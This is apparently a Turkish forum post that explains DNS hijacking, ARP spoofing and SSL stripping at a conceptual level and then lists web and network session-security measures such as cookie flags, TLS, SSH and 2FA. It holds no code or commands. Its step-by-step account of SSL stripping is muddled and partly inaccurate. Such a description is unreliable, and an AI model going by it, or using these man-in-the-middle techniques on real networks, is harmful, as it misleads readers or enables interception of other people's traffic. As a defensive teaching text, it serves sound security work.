Router DNS hijacking, genellikle defaul password kullanan routerlara uygulanan bir saldırıdır ve routerın DNS ayarları değiştirildiği zaman bundan routera bağlı bütün cihazlar etkilenir.
MITM DNS hijacking, saldırganın DNS sunucusu ve kullanıcının arasına girerek zararlı web sitelerine yönlendirme yaptığı saldırılardır.
DNS sunucuları çalındığı/hacklendiği zaman, saldırgan DNS kayıtlarını değiştirerek DNS sunucusuna bağlı bütün cihazları zararlı web sitesine yönlendirebilir.
ARP Spoofing
ARP spoofing saldırıları, saldırganın kendi MAC adresini modifiye edip kurbanın IP adresi ile eşleştirmesi ile kayıtların tutulduğu ARP tablosunu zehirlediği durumdur. Kurban saldırganı router, router ise saldırganı kurban zanneder. Bu durumda saldırgan, kurbanın ve routerın arasındaki bütün iletişimi istediği gibi değiştirebilir. Sadece saldırgan ve kurbanın aynı ağa bağlı olduğu durumlarda gerçekleşebilir. Yaygın atak vektörleri: DoS, session hijacking ve MITM saldırılarıdır.
SSL Strip
MITM saldırılarında, HTTPS bağlantısını HTTP ye düşürmek için kullanılır. ARP spoofing yaparken kurban SSL/TLS kullanan bir web sitesinde işlem yapıyorsa bu teknik kullanılabilir. Aynı şekilde proxy sunucularında veya public wifi ağlarında kullanılabilecek bir bypass yöntemidir. Tekniğin çalışma mekanizması şöyledir:
- Kurban routera HTTPS isteği gönderir
- MITM durumunda olan saldırgan şifrelenmiş HTTPS isteğini okuyamaz ancak bu isteği HTTP haline getirerek routera geri yollayabilir.
- Router saldırgandan gelen HTTP isteğini web sunucusuna yollar
Web Uygulamalarında Session Güvenliği
- Session ID, numaralandırılmış olmamalı, rastgele ve karışık olmalıdır.
- Session ID, alphanumeric olmalıdır.
- Session ID, brute-force yapılamayacak kadar uzun olmalıdır.
- Session ID eğer URL de kullanılırsa URL snifflenebilir ayrıca loglarda, tarayıcı geçmişinde, referrer headerda ve arama motorunda kayıt edilir.
- Session ID yi cookie olarak kullanmak en güvenli yoldur.
- Session ID URL de kullanılıyorsa, GET methodu yerine POST methodunun tercih edildiği yerlerde kullanılmalıdır.
- Session re-use dan kaçınmak gerekir çünkü bu session fixation zafiyetini doğurabilir.
- Session ID herhangi bir PII(personally identifiable information) içermemelidir.
- Her kimlik doğrulamada yeni Session ID üretilmelidir.
Güvenli Cookie için Gerekli Flagler
- HTTP Only: Tarayıcının, scriptler ile belirtilen cookieye erişmesini engeller böylece XSS sonucu session hijacking yapılamaz.
- SECURE: Tarayıcının cookie yi sadece SSL/TLS ile şifrelenmiş bir bağlantıdan göndermesini sağlar.
- MAX-AGE/EXPIRE: Session ID nin bir süre sonra imha olmasını sağlar.
- SAMESITE/DOMAIN: Hangi sitelerin cookielere erişimi olduğunu belirler.
Ağlarda Session Güvenliği
- HTTP, FTP, IMAP/POP gibi protokoller MITM saldırılarından korunmak için mutlaka TLS ile şifrelenmelidir.
- Telnet yerine SSH kullanılmalıdır.
- FTP yerine SFTP kullanılmalıdır.
- Herkese açık ağlar gibi kritik güvenlik önlemi almanız gereken yerlerde VPN kullanılmalıdır.
Session Güvenliği için Tercih Edebileceğiniz Diğer Yöntemler
- Hassas olan her aktivite için Session ID kullanmak yerine her seferinde yeni Auth Token üretin.
- J2EE,PHP,ASP.NET gibi frameworkler için yerleşik session management uygulamaları kullanın.
- Sunucunun Session ID kullanımı için sadece spesifik yerlerde kullanıcı girişlerini kabul ettiğinden emin olun.
- Sistemler arasında bilgi sızıntısını önlemek için HTML5 Web Storage API gibi hassas bilgileri kalıcı olarak tarayıcıda depo eden yapılar kullanılmamalı.
- Session ID diğer kullanıcı girişleri gibi kontrol(sanitize) edilmelidir.
- Birden fazla cookie kullanılıyorsa hepsi için farklı isim verilmelidir.
- Hassas işlemlerden önce kullanıcının kimliği yeniden doğrulanmalıdır.
- Session ID, session hijackingi önlemek için User-Agent veya IP gibi farklı veriler ile birbirine bağlanmalıdır.
- 2FA kullanılmalıdır.
Moderatör tarafında düzenlendi: